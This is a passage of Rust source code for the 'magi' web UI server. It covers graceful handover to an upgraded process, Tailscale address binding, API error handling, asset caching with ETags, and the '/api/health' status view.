865    // needs both it and the repo, and by then there is no `ui` left to read
866    // them from.
867    let home = ui.home.clone();
868    let repo = ui.repo.clone();
869    // Settles a progress record a predecessor left non-terminal - either this
870    // *is* the successor `spawn_successor` started, or the previous process
871    // died mid-handover. Before the router starts answering, so the very
872    // first `/api/health` a phone gets from this process already reflects it.
873    updater::reconcile_after_restart(&home);
874    // `magi web` can stay up for days, and the one-time check `main.rs`'s
875    // `spawn_update_check` does at startup only ever runs once: after that,
876    // `/api/health`'s `update` field - and the phone's "Update & restart"
877    // button, which reads the very same cache - would stay frozen on
878    // whatever that single check found, no matter how many releases ship
879    // afterwards. This keeps it current instead. Detached: it must keep
880    // going for as long as this process serves, `serve` has nothing to await
881    // it for, and it exits on its own the moment the process does.
882    tokio::spawn(run_update_recheck(repo, home.clone()));
883    let looping = ui.looping();
884    let socket = SocketAddr::new(addr, opts.port);
885    let listener = bind_waiting(socket).await?;
886    let url = format!("http://{addr}:{}", opts.port);
887    tracing::info!(
888        "magi web UI on {url} - there is no authentication, so anyone who can \
889         reach this address can file and hold tasks: the tailnet is the \
890         security boundary"
891    );
892    tracing::info!(
893        "the queue loop is not running yet - start it from the UI, which is \
894         the whole reason this process can: nothing in the queue moves until \
895         something is running the loop"
896    );
897    if opts.open {
898        // The URL alone on stdout, for a caller that wants to open it. magi
899        // does not spawn a browser: on the machine this usually runs on there
900        // is no display, and a failed launch would be the only output.
901        println!("{url}");
902    }
903
904    // On its own task, so nothing this function awaits can stop the address
905    // being answered. `hand_over` is where it is given up.
906    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
907    let interrupted = async {
908        if tokio::signal::ctrl_c().await.is_err() {
909            // No handler on this platform, so there is no signal to act on.
910            // Never resolving is the safe answer: a failed registration must
911            // not masquerade as the operator asking for a shutdown and take
912            // the UI down on startup.
913            std::future::pending::<()>().await;
914        }
915    };
916    let handover = HANDOVER.notified();
917    tokio::select! {
918        joined = &mut served => match joined {
919            Ok(outcome) => outcome.context("serve the web UI"),
920            Err(e) => Err(e).context("the task serving the web UI ended"),
921        },
922        () = interrupted => {
923            tracing::info!("shutting down the web UI");
924            finish_loop(&looping).await;
925            Ok(())
926        }
927        () = handover => {
928            tracing::info!("upgraded - handing this address to the successor");
929            hand_over(&home, &looping, served, spawn_successor).await
930        }
931    }
932}
933
934/// Park the loop, then release the address, then start the successor.
935///
936/// The order is the whole function, and each step is answerable to a failure
937/// this arrangement has already had:
938///
939/// 1. **Park.** The loop was asked to stop by the request that replaced the
940///    binary, and this waits for it, because killing the graph mid-node
941///    leaves worktrees, branches and agent sessions behind and throws away
942///    every agent call already paid for. It takes as long as the node in
943///    flight - up to `timeout_implement`, an hour by default - and the deck
944///    goes on answering for all of it, which is the reason `served` is a task
945///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
946///    first upgrade from a phone that caught a run mid-implement dropped the
947///    listener the moment it was asked to, and the operator got
948///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
949///    waiting on and nothing but a process list to say the run was alive.
950/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
951///    the join resolves only once the task's future has been dropped, so the
952///    address is unbound before the next line rather than merely on its way
953///    there.
954/// 3. **Start the successor**, which binds the address this process has just
955///    let go of - see [`spawn_successor`] for what the other order cost.
956///
957/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
958/// reporting, not part of the design: it exists so `/api/health` can say
959/// "parking, waiting on run X" instead of leaving the phone to guess why the
960/// deck went quiet, and dropping it would not change the order above.
961async fn hand_over(
962    home: &FsPath,
963    looping: &Mutex<LoopState>,
964    served: tokio::task::JoinHandle<std::io::Result<()>>,
965    successor: impl FnOnce() -> Result<()>,
966) -> Result<()> {
967    if let Some(mut progress) = updater::read_progress(home) {
968        progress.advance(updater::Stage::Parking);
969        let _ = updater::write_progress(home, &progress);
970    }
971    finish_loop(looping).await;
972    served.abort();
973    let _ = served.await;
974    if let Some(mut progress) = updater::read_progress(home) {
975        progress.advance(updater::Stage::Restarting);
976        let _ = updater::write_progress(home, &progress);
977    }
978    successor()
979}
980
981/// Ask the loop to stop and wait for it, on the way out of [`serve`].
982///
983/// The wait is the whole function. Returning from `serve` while a graph is
984/// mid-node ends the process with worktrees, branches and agent sessions left
985/// behind and every agent call in that run paid for and thrown away, which is
986/// exactly what the daemon's own shutdown refuses to do.
987async fn finish_loop(state: &Mutex<LoopState>) {
988    let live = lock_or_recover(state).live.take();
989    let Some(live) = live else { return };
990    live.stop.stop();
991    lock_or_recover(state).rev += 1;
992    tracing::info!("waiting for the loop to finish the run in flight");
993    // The task records its own outcome and logs it, so there is nothing to do
994    // with a join error here but stop waiting.
995    let _ = live.handle.await;
996}
997
998/// Resolve `--bind` to an address, plus a warning when the answer is not what
999/// the operator asked for.
1000///
1001/// Split out from [`serve`] because the interesting half - deciding whether
1002/// Tailscale gave us something usable - is testable without opening a socket.
1003pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1004    match bind {
1005        Bind::Addr(addr) => (*addr, None),
1006        Bind::Auto => match tailscale_ip() {
1007            Ok(ip) => (IpAddr::V4(ip), None),
1008            Err(why) => (
1009                IpAddr::V4(Ipv4Addr::LOCALHOST),
1010                Some(format!(
1011                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1012                     local-only and a phone cannot reach it; start Tailscale \
1013                     or pass --bind <addr>"
1014                )),
1015            ),
1016        },
1017    }
1018}
1019
1020/// This machine's Tailscale IPv4, or why there is not one.
1021///
1022/// `tailscale ip -4` is a local call against the running daemon and returns in
1023/// milliseconds, so it is fine to make it synchronously before the server
1024/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1025/// CGNAT block Tailscale assigns from, and anything else on that output would
1026/// be a different tool answering.
1027fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1028    let out = std::process::Command::new("tailscale")
1029        .args(["ip", "-4"])
1030        .quiet()
1031        .output()
1032        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1033    if !out.status.success() {
1034        let why = String::from_utf8_lossy(&out.stderr);
1035        let why = why.trim();
1036        return Err(format!(
1037            "`tailscale ip -4` failed ({}){}",
1038            out.status,
1039            if why.is_empty() {
1040                String::new()
1041            } else {
1042                format!(": {why}")
1043            }
1044        ));
1045    }
1046    String::from_utf8_lossy(&out.stdout)
1047        .lines()
1048        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1049        .find(is_tailnet)
1050        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1051}
1052
1053/// Is this address in the CGNAT block Tailscale hands out from?
1054fn is_tailnet(ip: &Ipv4Addr) -> bool {
1055    let o = ip.octets();
1056    o[0] == 100 && (64..=127).contains(&o[1])
1057}
1058
1059/// What every handler returns. Spelled out because `Result` in this crate is
1060/// `anyhow::Result`, and a handler's error is a status code as much as a
1061/// message.
1062type ApiResult<T> = std::result::Result<T, ApiError>;
1063
1064/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1065#[derive(Debug)]
1066struct ApiError {
1067    status: StatusCode,
1068    message: String,
1069}
1070
1071impl ApiError {
1072    /// The client asked for something malformed.
1073    fn bad_request(message: impl Into<String>) -> Self {
1074        Self {
1075            status: StatusCode::BAD_REQUEST,
1076            message: message.into(),
1077        }
1078    }
1079
1080    /// No such run or task.
1081    fn not_found(message: impl Into<String>) -> Self {
1082        Self {
1083            status: StatusCode::NOT_FOUND,
1084            message: message.into(),
1085        }
1086    }
1087
1088    /// Someone else owns the thing the client wants to change.
1089    /// Re-badge an error whose default mapping is wrong for this route.
1090    fn with_status(mut self, status: StatusCode) -> Self {
1091        self.status = status;
1092        self
1093    }
1094
1095    /// A rules violation from a domain type, reported as the caller's fault.
1096    /// `Question::answer` rejects an unoffered choice, and that is a bad
1097    /// request, not a server error.
1098    fn bad_request_from(e: anyhow::Error) -> Self {
1099        Self::bad_request(format!("{e:#}"))
1100    }
1101
1102    fn conflict(message: impl Into<String>) -> Self {
1103        Self {
1104            status: StatusCode::CONFLICT,
1105            message: message.into(),
1106        }
1107    }
1108
1109    /// Our fault, or the disk's.
1110    fn internal(message: impl Into<String>) -> Self {
1111        Self {
1112            status: StatusCode::INTERNAL_SERVER_ERROR,
1113            message: message.into(),
1114        }
1115    }
1116}
1117
1118impl From<anyhow::Error> for ApiError {
1119    /// Errors from `queue` and `run` carry their context chain, and the whole
1120    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1121    /// value at line 3" is a message an operator can act on, and there is no
1122    /// secret in a path on a single-user tailnet.
1123    fn from(e: anyhow::Error) -> Self {
1124        Self::internal(format!("{e:#}"))
1125    }
1126}
1127
1128impl IntoResponse for ApiError {
1129    fn into_response(self) -> Response {
1130        let body = serde_json::json!({ "error": self.message });
1131        (self.status, Json(body)).into_response()
1132    }
1133}
1134
1135/// Run a handler's filesystem work off the executor.
1136///
1137/// Every route that touches the disk goes through here rather than each one
1138/// arguing about whether its own read is small enough. Uniform because the
1139/// expensive case is not rare: `run.json` for a finished competition holds
1140/// every judgement, deliberation turn and review round, so listing a few
1141/// hundred runs is megabytes of parsing, and the executor threads doing it are
1142/// the same ones serving the change stream of every other connected phone.
1143async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1144where
1145    T: Send + 'static,
1146{
1147    match tokio::task::spawn_blocking(job).await {
1148        Ok(result) => result,
1149        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1150    }
1151}
1152
1153/// Cache policy for the three compiled-in front-end files.
1154///
1155/// The whole interface is `include_str!`ed into the binary, so its content
1156/// changes only when the binary does - and a phone that keeps a copy is
1157/// welcome to, right up until the deck is replaced. Without a single cache
1158/// header, browsers were free to invent their own policy, and one did:
1159/// yukimemi's phone went on showing "Candidates must be folded before
1160/// deleting. Run `magi fold` first." - a sentence deleted two releases
1161/// earlier - from a run detail served by a deck that no longer contained it.
1162/// The delete button he was told about was right there, and unreachable.
1163///
1164/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1165/// every time, the answer is a 304 costing one small round trip while the
1166/// deck is unchanged, and the moment it is replaced the tag differs and the
1167/// new interface arrives. Correctness over bytes - this is one file of a few
1168/// tens of kilobytes on a tailnet, and being a version behind is not a
1169/// cosmetic problem when the difference is whether a button exists.
1170const ASSET_CACHE: &str = "no-cache, must-revalidate";
1171
1172/// `ETag` for the compiled-in assets, distinct per build.
1173///
1174/// The version alone would leave a locally built deck - `cargo install
1175/// --path .` twice at the same version, which is the normal way to iterate -
1176/// serving a stale tag for changed bytes. The build timestamp is what makes
1177/// two builds of `0.3.0` differ.
1178fn asset_etag() -> &'static str {
1179    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1180        format!(
1181            "\"{}-{}\"",
1182            env!("CARGO_PKG_VERSION"),
1183            // Length is a cheap, deterministic stand-in for a hash: the
1184            // three files are compiled in together, so any edit to any of
1185            // them almost certainly changes the total, and a rebuild is what
1186            // this needs to track rather than every possible byte pattern.
1187            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1188        )
1189    });
1190    &TAG
1191}
1192
1193/// Headers for a compiled-in asset of `mime`.
1194fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1195    [
1196        (header::CONTENT_TYPE, mime),
1197        (header::CACHE_CONTROL, ASSET_CACHE),
1198        (header::ETAG, asset_etag()),
1199    ]
1200}
1201
1202/// Serve a compiled-in asset, answering `304` when the client already has it.
1203///
1204/// axum does not compare `If-None-Match` for us, and a header the server sets
1205/// but never honours is worse than none: the phone revalidates on every load
1206/// and is handed the whole file back each time. Doing the comparison is what
1207/// makes `must-revalidate` cost one small round trip rather than the
1208/// interface.
1209fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1210    let tag = asset_etag();
1211    let known = headers
1212        .get(header::IF_NONE_MATCH)
1213        .and_then(|v| v.to_str().ok())
1214        // A revalidating client may send several, and a proxy may weaken the
1215        // tag to `W/"..."`; matching on containment covers both without
1216        // parsing the grammar.
1217        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1218    if known {
1219        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1220    }
1221    (asset_headers(mime), body).into_response()
1222}
1223
1224async fn index(headers: header::HeaderMap) -> Response {
1225    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1226}
1227
1228async fn app_css(headers: header::HeaderMap) -> Response {
1229    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1230}
1231
1232async fn app_js(headers: header::HeaderMap) -> Response {
1233    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1234}
1235
1236/// What `/api/health` answers.
1237#[derive(Debug, Serialize)]
1238struct HealthView {
1239    version: &'static str,
1240    home: String,
1241    queue_rev: u64,
1242    runs_rev: u64,
1243    /// The same revisions [`events`] streams for the question and talk
1244    /// stores.
1245    ///
1246    /// Here because this route is what the front end falls back to when the
1247    /// change stream is not up - it re-polls health on a timer and on wake, and
1248    /// takes the revisions from the answer. Without these the fallback
1249    /// compares `undefined` against `undefined` for both stores, decides
1250    /// nothing moved, and a phone with a dead stream never learns that a
1251    /// question was asked or that a talk took a turn. `queue_rev` and
1252    /// `runs_rev` above have always been here for exactly this reason; the rule
1253    /// is that every revision the stream carries, this route carries too.
1254    questions_rev: u64,
1255    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1256    talks_rev: u64,
1257    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1258    /// is not on disk anywhere, so a phone with no change stream has no other
1259    /// way to notice that the loop it is waiting on was started from another
1260    /// device.
1261    loop_rev: u64,
1262    /// Runs on disk whose state this build cannot parse - almost always a
1263    /// schema bump, occasionally a run killed mid-write.
1264    ///
1265    /// Reported because the list silently skips them, and "no competitions
1266    /// yet" is a lie when six of them are sitting in the runs directory. The
1267    /// terminal deck learned the same lesson: a run that fails to parse must
1268    /// not disappear from the count.
1269    runs_unreadable: usize,
1270    /// The disk, and what the runs and their worktrees occupy on it.
1271    ///
1272    /// This is the incident the janitor exists for: magi alone put 30 GB into
1273    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1274    /// is exactly where the operator learns "the disk is the constraint" -
1275    /// the diagnosis that a run is being held for want of space has to be
1276    /// checkable on the same screen.
1277    disk: DiskView,
1278    /// Questions nobody has answered yet, including ones an owner talked
1279    /// back on and is now waiting for the agent's reply to. A round trip
1280    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1281    /// while the ball is in the agent's court - see
1282    /// [`crate::ask::Questions::count_open`].
1283    questions_open: usize,
1284    /// Of those, how many actually need the owner right now: open, and not
1285    /// [`crate::ask::Question::waiting_on_agent`].
1286    ///
1287    /// The one number that means "nothing will happen until a human acts" -
1288    /// a parked run consumes nothing and progresses never - and the count the
1289    /// ask bar, the nav badge and the document title fall back to before
1290    /// `/api/questions` has answered, so those notification channels clear
1291    /// the instant the owner asks back and reappear the instant the agent
1292    /// replies, instead of sitting lit for however long the agent thinks.
1293    questions_needs_owner: usize,
1294    daemon: DaemonView,
1295    /// The loop in this process, exactly what `/api/loop` answers with.
1296    ///
1297    /// Here so a phone that has just woken needs one request to know whether
1298    /// anything is going to happen at all: `daemon` says a loop is alive
1299    /// somewhere, and this says whether it is one this UI can stop.
1300    #[serde(rename = "loop")]
1301    looping: LoopView,
1302    /// Whether a release newer than this build is known, and which.
1303    ///
1304    /// From [`updater::Checker::cached_update`] - the same throttled state the
1305    /// CLI's `notify` mode banners from - never a live check: this route is
1306    /// polled every few seconds, and a live check on each poll would spend
1307    /// GitHub's rate limit before the operator finished reading the strip.
1308    update: UpdateView,
1309    /// The self-upgrade this deck last set in motion, or `null` before the
1310    /// first one. Read off disk, so the successor can report what its
1311    /// predecessor started.
1312    upgrade: Option<UpgradeProgressView>,
1313}
1314
1315/// What `/api/health` knows about a release newer than this build.
1316///
1317/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1318/// is already the newest" from "never checked" - both are `None` - and the
1319/// phone needs to tell those apart to decide whether the deck can be trusted
1320/// to have an opinion at all.
1321#[derive(Debug, Serialize)]
1322struct UpdateView {
1323    /// A newer release is known to exist.
1324    available: bool,
1325    /// Its tag, when `available`.
1326    to: Option<String>,
1327}
1328
1329/// [`updater::Progress`] as `/api/health` reports it.
1330#[derive(Debug, Serialize)]
1331struct UpgradeProgressView {
1332    stage: updater::Stage,
1333    from: String,
1334    to: Option<String>,
1335    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1336    /// the step it is finishing before the address is handed over.
1337    waiting_on: Option<String>,
1338    started_at: Timestamp,
1339    updated_at: Timestamp,
1340    detail: Option<String>,
1341}
1342
1343/// Whether [`run_update_recheck`] may act at all this tick.
1344///
1345/// The same two conditions [`updater::Checker::new`] and
1346/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1347/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1348/// GitHub from this process" - on a button press or on a timer alike.
1349fn should_spawn_recheck(cfg: &Update) -> bool {
1350    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1351}
1352
1353/// Whether this tick should actually reach the network, once checking itself
1354/// is allowed.
1355///
1356/// An upgrade already in flight must not be raced by a check that discovers
1357/// a *newer* release while one is still installing - a phone watching
1358/// `/api/health` would see the answer change out from under the upgrade it
1359/// already asked for. Past that, [`updater::Checker::should_check`] is the
1360/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1361/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1362/// polling period, is what keeps this task's network use to at most once per
1363/// `[update] interval` regardless of how often it wakes up.
1364fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1365    if progress.is_some_and(|p| !p.stage.terminal()) {
1366        return false;
1367    }
1368    checker.should_check()
1369}
1370
1371/// How long [`run_update_recheck`] sleeps before its next wake-up.
1372///
1373/// A fraction of the configured `[update] interval` rather than a fixed
1374/// number: a fixed sleep longer than a short custom interval would leave the
1375/// deck waiting on its own wake-up rather than on `should_check`, so an
1376/// operator who set `interval = "1m"` to make the UI catch up quickly would
1377/// not see that take effect until the next restart - exactly the bug this
1378/// task exists to fix, just moved one level down. Scaling with the interval
1379/// keeps the wake-up prompt relative to what was actually configured, while
1380/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1381/// still what caps the network calls themselves at one per interval,
1382/// regardless of how often this fires.
1383fn recheck_poll_period(cfg: &Update) -> Duration {
1384    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1385}
1386
1387/// Keep `/api/health`'s `update` field current for as long as `magi web`
1388/// stays up.
1389///
1390/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1391/// which is enough for every other command: they exit in seconds. `magi web`
1392/// can run for days, so a single startup check leaves the cache - and the
1393/// phone's "Update & restart" button, which reads it via
1394/// [`cached_update_view`] - frozen on whatever that one look found, however
1395/// many releases ship afterwards. This is what notices the rest of them,
1396/// re-reading the config each tick so a `magi.toml` edit while the server is
1397/// up takes effect without a restart, the same way every other route here
1398/// already does - both for whether checking is on at all and for how long
1399/// the next sleep should be.
1400///
1401/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1402/// "install"`: swapping the running binary out from under a task or a run
1403/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1404/// not as a side effect of a timer nobody asked to fire. This only ever
1405/// calls [`updater::Checker::newer_release`], which refreshes
1406/// `last_update_check.json` and nothing else - so under `mode = "install"`
1407/// this behaves like `notify` for as long as the deck stays up, and an
1408/// actual self-install still happens exactly where it always has: once, at
1409/// the next process start.
1410async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1411    loop {
1412        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1413        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1414        if !should_spawn_recheck(&cfg.update) {
1415            continue;
1416        }
1417        let Some(checker) = updater::Checker::new(&cfg.update) else {
1418            continue;
1419        };
1420        let progress = updater::read_progress(&home);
1421        if !update_recheck_due(&checker, progress.as_ref()) {
1422            continue;
1423        }
1424        if let Err(e) = checker.newer_release().await {
1425            tracing::warn!("background update recheck failed: {e:#}");
1426        }
1427    }
1428}
1429
1430/// [`UpdateView`] from the same throttled, disk-only state
1431/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1432/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1433/// no cached state at all, which is correct: an operator who turned checking
1434/// off gets no opinion, not a stale one.
1435fn cached_update_view(repo: &FsPath) -> UpdateView {
1436    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1437    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1438    match latest {
1439        Some(latest) => UpdateView {
1440            available: true,
1441            to: Some(latest.tag_name),
1442        },
1443        None => UpdateView {
1444            available: false,
1445            to: None,
1446        },
1447    }
1448}
1449
1450/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1451/// from the parked run's own state when the stage is
1452/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1453/// already on disk in `run.json`, so this reads them fresh rather than
1454/// trusting whatever was true the moment the park was requested.
1455fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1456    let waiting_on = (progress.stage == updater::Stage::Parking)
1457        .then_some(progress.parked_run.as_deref())
1458        .flatten()
1459        .and_then(|id| read_run(&ui.runs, id).ok())
1460        .map(|run| {
1461            format!(
1462                "run {} is finishing {} before the address is handed over",
1463                run.short(),
1464                run.status.as_str()
1465            )
1466        });
1467    UpgradeProgressView {
1468        stage: progress.stage,
1469        from: progress.from,
1470        to: progress.to,
1471        waiting_on,
1472        started_at: progress.started_at,
1473        updated_at: progress.updated_at,
1474        detail: progress.detail,
1475    }
1476}
1477
1478/// The disk figures `/api/health` carries. Every number is produced by
1479/// [`crate::disk`], the same code that decides a run may not start, so the
1480/// health screen and the gate cannot disagree about what the machine looks
1481/// like.
1482#[derive(Debug, Serialize)]
1483struct DiskView {
1484    /// Free bytes on the volume holding the runs, when measurable.
1485    #[serde(skip_serializing_if = "Option::is_none")]
1486    free_bytes: Option<u64>,
1487    /// Everything the runs directory occupies, unreadable runs included.
1488    runs_bytes: u64,
1489    /// Everything the runs' worktrees occupy.
1490    worktrees_bytes: u64,
1491    /// The shared build cache's size, when the config names one.
1492    #[serde(skip_serializing_if = "Option::is_none")]
1493    cache_bytes: Option<u64>,
1494}
1495
1496impl DiskView {
1497    /// Measure the three directories and re-read the config's cache.
1498    fn of(ui: &Ui) -> Self {
1499        let cache_bytes = Config::discover(&ui.repo, None)
1500            .ok()
1501            .and_then(|(cfg, _)| cfg.cache_dir())
1502            .map(|dir| crate::disk::dir_size(&dir));
1503        Self {
1504            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1505            runs_bytes: crate::disk::dir_size(&ui.runs),
1506            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1507            cache_bytes,
1508        }
1509    }
1510}
1511
1512/// The daemon's state as the UI presents it.
1513#[derive(Debug, Serialize)]
1514struct DaemonView {
1515    running: bool,
1516    idle: Option<bool>,
1517    pid: Option<u32>,
1518    /// Every task and run currently in flight. Empty when idle; more than
1519    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1520    /// run going at once.
1521    current: Vec<daemon::Current>,
1522    completed: Option<u64>,
1523    stale_for_secs: Option<i64>,
1524}
1525
1526impl DaemonView {
1527    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1528    /// not this UI's — a crashed daemon must not look alive here while
1529    /// `doctor` calls it dead.
1530    fn of(status: Option<daemon::Reading>) -> Self {
1531        let Some(status) = status else {
1532            return Self {
1533                running: false,
1534                idle: None,
1535                pid: None,
1536                current: Vec::new(),
1537                completed: None,
1538                stale_for_secs: None,
1539            };
1540        };
1541        let now = Timestamp::now();
1542        let age = status.age_secs(now);
1543        Self {
1544            running: status.running(now),
1545            idle: Some(status.idle),
1546            pid: status.pid,
1547            current: status.current,
1548            completed: Some(status.completed),
1549            stale_for_secs: age,
1550        }
1551    }
1552}
1553
1554async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1555    blocking(move || {
1556        // One read of the status file for the two fields that describe it, so
1557        // `daemon` and `loop` in the same answer cannot disagree about who is
1558        // running the loop.
1559        let reading = daemon::read_status(&ui.home);
1560        // Read on its own line, not inside the literal below: the loop's lock
1561        // is not reentrant, and a guard taken as a temporary there would still
1562        // be held when `loop_view` took it again.
1563        let loop_rev = ui.lock_loop().rev;
1564        let update = cached_update_view(&ui.repo);
1565        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1566        Ok(Json(HealthView {
1567            version: env!("CARGO_PKG_VERSION"),
1568            home: ui.home.display().to_string(),
1569            queue_rev: ui.queue.revision(),
1570            runs_rev: runs_revision(&ui.runs),
1571            questions_rev: ui.questions.revision(),
1572            talks_rev: ui.talks.revision(),
1573            loop_rev,
1574            runs_unreadable: runs_unreadable(&ui.runs),
1575            questions_open: ui.questions.count_open(),
1576            questions_needs_owner: ui.questions.count_needs_owner(),
1577            daemon: DaemonView::of(reading.clone()),
1578            looping: ui.loop_view(reading),
1579            disk: DiskView::of(&ui),
1580            update,
1581            upgrade,
1582        }))
1583    })
1584    .await
1585}
1586
1587/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1588#[derive(Debug, Serialize)]
1589struct LoopView {
1590    /// A loop is running in *this* process.
1591    running: bool,
1592    /// It has been asked to stop and is still finishing a run.
1593    ///
1594    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1595    /// because the two differ exactly where it matters: a loop asked to stop
1596    /// while idle is gone within one poll interval, and one asked to stop
1597    /// mid-run keeps going for as long as the graph takes. The operator needs
1598    /// to be told which of those they are waiting for.
1599    stopping: bool,
1600    /// A park was asked for: the run in flight stops at its next node
1601    /// boundary rather than finishing.
1602    ///
1603    /// Separate from `stopping` because the two promise different waits. A
1604    /// stop is "when this competition ends", which can be an hour; a park is
1605    /// "after the step it is on", which is minutes and is what an operator
1606    /// waiting to replace the binary needs to see.
1607    parking: bool,
1608    /// The loop is this process's own.
1609    ///
1610    /// Spelled separately from `running` for the front end's sake, even
1611    /// though inside this process the two move together: `running: false`
1612    /// with `daemon.running: true` is the case where the operator's own `magi
1613    /// serve` owns the loop, and `owned` is the field that tells the UI its
1614    /// buttons have to explain that rather than pretend.
1615    owned: bool,
1616    /// Repository the loop uses for tasks that name none - what it was
1617    /// started with while it runs, and what a start would use before that.
1618    repo: String,
1619    /// Merge mode override in force, or `null` when each repository's own
1620    /// config decides.
1621    merge: Option<String>,
1622    /// Why the last loop in this process ended, when it ended badly.
1623    ///
1624    /// The only place a crashed loop is visible to someone holding a phone.
1625    /// It is logged at error level as well, but a terminal nobody kept open
1626    /// is not a report, and a loop that died at 3am must not read as merely
1627    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1628    /// answers the same question about the same kind of failure.
1629    last_error: Option<String>,
1630    /// The status file, judged the same way `/api/health` judges it: this is
1631    /// what says whether a loop is alive in some *other* process.
1632    daemon: DaemonView,
1633}
1634
1635/// A loop another process already owns.
1636///
1637/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1638/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1639/// published by a pid that is not ours. Excluding our own pid is what makes
1640/// stopping work at all - the loop this process runs writes that file too, so
1641/// a check that ignored the pid would decide the operator's own UI was a
1642/// stranger and refuse to stop the loop it had just started.
1643#[derive(Debug, Clone, Copy)]
1644struct Foreign {
1645    /// The pid the other process published, when it published one.
1646    pid: Option<u32>,
1647}
1648
1649impl Foreign {
1650    /// Another process's live loop, or `None` when this process is free to
1651    /// run one.
1652    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1653        let reading = reading?;
1654        if !reading.running(Timestamp::now()) {
1655            return None;
1656        }
1657        match reading.pid {
1658            Some(pid) if pid == std::process::id() => None,
1659            // A fresh heartbeat with no pid in it is still evidence of a live
1660            // daemon. "Some other process" is the honest answer, and refusing
1661            // to start beside it is the safe one.
1662            pid => Some(Self { pid }),
1663        }
1664    }
1665
1666    /// How a conflict names it. The pid is the whole point of the message: it
1667    /// is what the operator needs to find the terminal that owns the loop.
1668    fn who(&self) -> String {
1669        match self.pid {
1670            Some(pid) => format!("another magi process (pid {pid})"),
1671            None => "another magi process".to_owned(),
1672        }
1673    }
1674}
1675
1676/// How a loop is started, as a future this module can hold onto.
1677///
1678/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1679/// trait object or a hand-written `Debug` impl for the sake of one seam.
1680type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1681
1682/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1683fn launch_daemon(
1684    opts: daemon::Opts,
1685    stop: daemon::Stop,
1686) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1687    Box::pin(daemon::serve_until(opts, stop))
1688}
1689
1690/// The loop this process runs, behind one lock.
1691#[derive(Debug, Default)]
1692struct LoopState {
1693    /// The loop, while there is one.
1694    live: Option<Live>,
1695    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1696    ///
1697    /// The loop is in-process state rather than a file, so nothing on disk
1698    /// would tell a second phone that the first one started it. Without this
1699    /// counter the only way to learn about a start, a stop request or a crash
1700    /// would be to poll `/api/loop`, which is the thing the change stream
1701    /// exists to avoid on a mobile link.
1702    rev: u64,
1703    /// Why the last loop ended, when it ended badly. See
1704    /// [`LoopView::last_error`].
